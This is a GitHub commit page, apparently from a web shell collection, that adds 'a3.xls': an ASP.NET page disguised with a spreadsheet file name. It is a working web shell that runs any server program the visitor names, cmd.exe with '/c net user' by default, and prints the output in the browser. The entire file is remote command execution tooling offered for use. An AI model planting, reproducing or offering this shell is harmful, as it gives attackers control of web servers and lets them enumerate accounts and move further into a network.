Skip to content

Commit

Permalink
Create a3.xls
Browse files Browse the repository at this point in the history
  • Loading branch information
tennc authored Feb 17, 2020
1 parent 186ffc7 commit 4b7f649
Showing 1 changed file with 63 additions and 0 deletions.
63 changes: 63 additions & 0 deletions aspx/a3.xls
Original file line number Diff line number Diff line change
@@ -0,0 +1,63 @@
<%@ Page Language="VB" Debug="true" %>

<%@ import Namespace="system.IO" %>

<%@ import Namespace="System.Diagnostics" %>

<script runat="server">

Sub RunCmd(Src As Object, E As EventArgs)

Dim myProcess As New Process()

Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)

myProcessStartInfo.UseShellExecute = false

myProcessStartInfo.RedirectStandardOutput = true

myProcess.StartInfo = myProcessStartInfo

myProcessStartInfo.Arguments=xcmd.text

myProcess.Start()

Dim myStreamReader As StreamReader = myProcess.StandardOutput

Dim myString As String = myStreamReader.Readtoend()

myProcess.Close()

mystring=replace(mystring,"<","&lt;")

mystring=replace(mystring,">","&gt;")

result.text= vbcrlf & "<pre>" & mystring & "</pre>"

End Sub

</script>

<html>

<body>

<form runat="server">

<p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>

<asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>

<p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>

<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>

<p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>

<p><asp:Label id="result" runat="server"></asp:Label>

</form>

</body>

</html>

0 comments on commit 4b7f649

Please sign in to comment.